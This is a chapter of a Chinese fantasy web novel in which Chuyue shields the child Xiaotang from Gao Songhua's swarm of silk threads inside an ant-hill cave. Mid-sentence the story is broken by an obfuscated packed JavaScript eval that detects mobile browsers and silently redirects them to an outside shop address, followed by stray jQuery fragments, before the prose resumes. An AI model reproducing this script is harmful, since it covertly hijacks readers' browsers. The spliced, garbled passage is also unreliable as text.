109. 蚁后归巢(五)

作品:《我燃烧的理由

    高松华尾音震颤,从丝线躺椅上一跃而起,滞空向着萎缩后飘落的丝线扑去。


    可初月杀出了重围。


    一刻也不能停歇,她嘴咬着鞭柄,攀岩向上,撑着洞口荡起身体,稳稳地坐在了岩洞边上。


    她将半个身子钻进洞口,里面密密麻麻的断线像珊瑚丛一般挡住了她的视线。


    她对着洞内大喊:“小棠,我知道你妈妈在哪儿!你要不要……”


    寂静持续了十几秒,洞内无人回应。初月的心凉到了极点。


    她扒开密集的断线,撕扯着它们,不死心地朝洞内探寻。


    活要见人,死要见尸。


    初月是这么想的,如果今天这母女两个真的殒命于此,她不会让那个始作俑者活着离开这个实验室。


    不管是初月拿下他,还是和他同归于尽,她已经做好了心理准备。


    也就是这时,她听到窸窸窣窣的咀嚼音再次传来,像是有一头牛在岩洞深处嚼干草。


    “……要……找妈妈……”


    在“干草”的摩擦音中,初月分辨出了小棠含混的回应。


    那一大簇被初月的蛇鞭截断的丝线仿佛还活着,参差的断头颜色慢慢变浅,却不断地朝着洞内深处挤去。


    初月听小棠的声音微弱又有气无力的,初月担心这残余的丝线也能要了小棠半条命去。


    于是她两手齐上,薅住它们就往外拔。


    可对面的力道却大得惊人,初月双脚勾住岩壁,才没被它们拉进岩洞深处,可对面那股力道丝毫不减。


    初月咬牙对抗的倏忽间,几根弯曲掉色至透明的丝线横断面不知有意无意的、连接到了初月手心里的伤痕……


    已经半死的丝线瞬间找到了下一个给养者,而这个给养者,有着梦世界至纯至浓的情绪血液——初月的血岩浆。


    鲜红的液体顺着丝线源源不断地向前端输送,眨眼间,那簇本已褪去色彩的丝线重新染上了颜色。


    这一次,一条血色的“河”连接洞内洞外,初月勾住岩壁的脚慢慢泄力……


    小棠鼓胀的脸终于出现在了岩洞尽头。


    “初月小姨……”


    她嘟囔不清地说:“我妈妈在哪?”


    初月掀开厚重的眼皮,眯着眼睛看着声音的来源——那个她未能挽救的朋友的女儿,小棠。


    她看到小棠脸色涨得通红,生龙活虎地吞咽着满嘴的丝线,而丝线的另一端,连接着自己血肉模糊的手心。


    “姐姐,你饿晕了吗?眼睛黑黑的,脸却这么白?”


    初月仿佛回到了她们初遇的那一天,就在这蚁山的另一面,那个满嘴尸油的小孩,无辜地闪着大眼睛问她,姐姐你饿吗?


    初月不敢饿。


    也终于,不管有意无意,小棠吃到了她垂涎已久的美味。


    可对于初月来说,今天不行。


    “小棠,你松口……”


    “我不!”


    小棠被这么一说,反而两只小手搂住了面前的丝线。


    若不是她护的食是初月的血岩浆,她可能还会觉得小孩可爱。


    初月调整呼吸,再次心平气和地劝说:“小棠,听小姨的话,你先松口回到房间里去,这里不安全……”


    “我不!你说过要带我找妈妈的!”


    “……”


    初月不自觉的瞥了一眼洞口外的人形枯枝。


    确实,若不是亲眼所见,任谁说她也不会相信曾经丰腴的梁荷尽如今成了这个样子。


    而她的这个结局,初月至少要承担一半的责任。


    毕竟,她是那个按下肉瘤开关,“点燃引线”的人,她没有边界的余地。


    初月掩下不自然的表情,支撑起疲惫的双眼,说:“你妈妈……小姨发誓,这辈子定会护你周全,我是不会让你涉险的……”


    “咚!”


    一声巨响,惊雷般在山脚的方向响起。


    初月眼睛里终于有神采闪过,她惊喜地说:“小棠你听到了吗?刚刚那声爆炸声,是地坑的哪个洞里又有人爆炸了吗!?”


    “啊!”


    小棠惊大了小嘴,初月趁机把她咬着的丝线抽出来。


    “有人爆炸了!?好吃!好吃!”


    说着她又看向充盈着红色液体的丝线,舔了舔嘴唇:“可是,这个更好吃……”


    小棠朝着初月爬了几步,吓得初月连连后退:“这个小姨帮你收着,你要是去晚了,那个爆炸人可要被其他小孩吃完了……”


    “不行!”


    小棠急得站了起来,头撞在岩洞顶上一声闷响,可她毫不在意,眼里藏着她这个年纪不该有的狠辣。


    只听她咬牙道:“梁荷尽的女儿还没吃,他们有什么资格?!”


    之后小棠便一跃而下,消失在初月的视线里。


    初月长长地叹了口气,咬牙扯掉深扎手心里的丝线。


    她脚尖向内收了收,避开了岩洞边缘被她踢下去的那块碎石留下的那个深坑,慢慢回转身来。


    却不料对上了一张巨大的脸。


    高松华双手扒着岩壁,眼神深不见底,对着她讪笑。


    此时二人的距离,近得初月能数清他脸上的痘坑和毛孔。


    初月想都没想,下意识一脚踹向他的肚子,对方迅疾地捉住了脚踝。


    “你想干什么?!”


    初月质问。


    “全体蚕丝蛛线听令,围捕新一代蚁后!”


    “嗡嗡嗡——”持续不断的细碎声响起,初月透过高松华与岩洞之间的缝隙向外望去,乌云压顶一般,丝线不断从下方升起,向岩壁聚集。


    之前它们从梁荷尽身体里吸取的彩色情绪值不知被运送到了何处,此时这一群又一群源源不断的丝线们又恢复了半透明的形态。


    它们挤在岩壁外缘,就像一场永远也不会停下的雨,决心要将初月的人性浇灭。


    高松华凑过脸,呼吸间嘴里的臭气充盈了整个岩洞,他用最温柔的语气说着最歹毒的话。


    他说:“新一代蚁后,我们打算采取人工培育的方式,主人您意下如何?到时候您一定得全程参与,指导我们工作啊!哈哈哈哈……”


    初月一个猛地逼近,将脸贴上了他的,一口唾沫吐在了他脸上。


    “你休想动她!”


    “哦?你说我敢不敢?你看……”


    高松华下巴一抬,指给她看岩洞四周的岩壁。


    岩洞壁窸窸窣窣,如有长虫在钻。


    初月四下看去,有几根蚕丝蛛线已然钻到了半壁厚的位置。


    原来洞外那如雨线一样密集的丝线片刻也没有闲着,正从各个角度向着地坑内部进攻。


    过不多时,整座山都会被它们穿透。


    初月用自己的身体堵住了这通往地坑的唯一岩洞,可丝线们三五下就能钻出无数个新的通道来。


    拿下小棠只在旦夕之间。


    初月心悸:难道我要在短短两天之内,接连失去好几个并肩作战的伙伴吗?


    先是落入地底世界圈套,惨死在集装箱外的闺蜜袅袅。


    再是发现自己刚刚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723799|176095||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    托付身心的爱人,不过是为了他原世界的女友偷窃初月情绪值的、满嘴谎言的骗子秋鸿。


    接着眼见着有着巨大能量的大姐姐梁荷尽被吸干榨尽。


    下一个,就要轮到小棠了吗?


    她才多大啊!她为什么要遭遇这些?!


    巨大的恐惧包裹了她,只一瞬间,寒意四起,有如落入冰窖,初月眼前一黑……


    可她意识依旧清醒。


    只是眼前,朦朦胧胧地看不清对面的人影。


    她抬手急躁地揉搓眼睛……


    于是她没能看见,高松华嘴角的狞笑慢慢褪去,取代挑衅眼神的,是无措的惊恐。


    “你到底是什么人……”


    曾经容纳下梁荷尽宽大身躯的岩洞,此时被厚重的黑色雾气弥漫,高松华嗅到了浓烈的惊惧情绪。


    而那黑色雾气,正是从初月眼角的缝隙里如毒气一般弥散开来的。


    高松华摸索着退至岩洞外,哆嗦着手不敢指向那怪物一样的女人。


    这个名义上的梦世界主人,初月,到底是什么怪物。


    一瞬间高松华想起了何黎黎的话:寄生在她眼里的黑雾,被异物入侵,像秦砂那个贱人一样……


    那和初月共生的黑雾,到底是什么来路?它会比秦砂更难对付吗?


    种种猜测逼得他连连后退,高松华踩着云梯,眨眼间已退至蚁山岩洞边缘。


    初月睁开眼睛,在浓密的黑雾间隙,看见了离得远远的高松华。


    听见他声音发颤,不住地问自己是什么人,眼睛又闪躲,好像不敢直视自己。


    “我是什么人?”初月喃喃自语,再次发狠,“我是你主人!”


    说时迟那时快,她竖起手里的那簇断线就往高松华眼睛里扎去。


    “啊——”


    高松华快速闪避,瞬间已撤离蚁山两丈远。


    初月心下嘀咕:他躲那么远干什么?莫非是……莫非是丝线们已经快要爆破这岩壁了?


    她向岩壁望去,岩洞里的黑雾像是与她心意相通一般,在她视线投向的方向迅速散开,初月摩挲着岩壁,坚硬的岩石已有大半被钻的疏松。


    快要来不及了!


    “小棠!”初月回头大喊,“快出地坑!去找你秦厌小姨!”


    她快速挪向地坑方向,就着血肉模糊的手心就往岩壁上抹,哪怕是万分之一浓度的肉瘤浆,也能拖慢一丝它们进攻的速度吧!


    可无济于事。


    她手心里,除了稀烂的血肉,再没有一点点肉瘤黏液的痕迹。


    初月知道,对抗这丝线,不管它是蛛丝还是蚕丝,最有用的,莫过于一把火全烧掉。


    若是在以前,在初月刚来梦世界不久的那个时候,在她仅凭一点点怒气,就能烧干地坑整个通道里满满尸油的那个时候,这点丝线,对她来说,不过是洒洒水罢了。


    可是现在,无论初月怎么催动体内血岩浆,她所能调动的,只有食指尖的那一点点血液,最多也只能让蛇鞭鳞片竖起,加大她挥鞭的威慑力。


    别的,再无他法。


    这一切,都得归罪于初月体内的午夜沥青之毒,它太寒太冷,压制住了初月满腔的愤怒,令她徒有怒气,却转换不成火力。


    正焦躁间,初月突觉眼角一痒,有什么东西从她眼珠和眼睑的缝隙里钻了出来,挂在了她的下眼皮上……


    一种诡异的触觉席卷了她。


    初月抬手去摸,就在她触到眼睑的那一瞬间,那个挂在她下眼皮上的东西,抬起手指勾住了她的食指……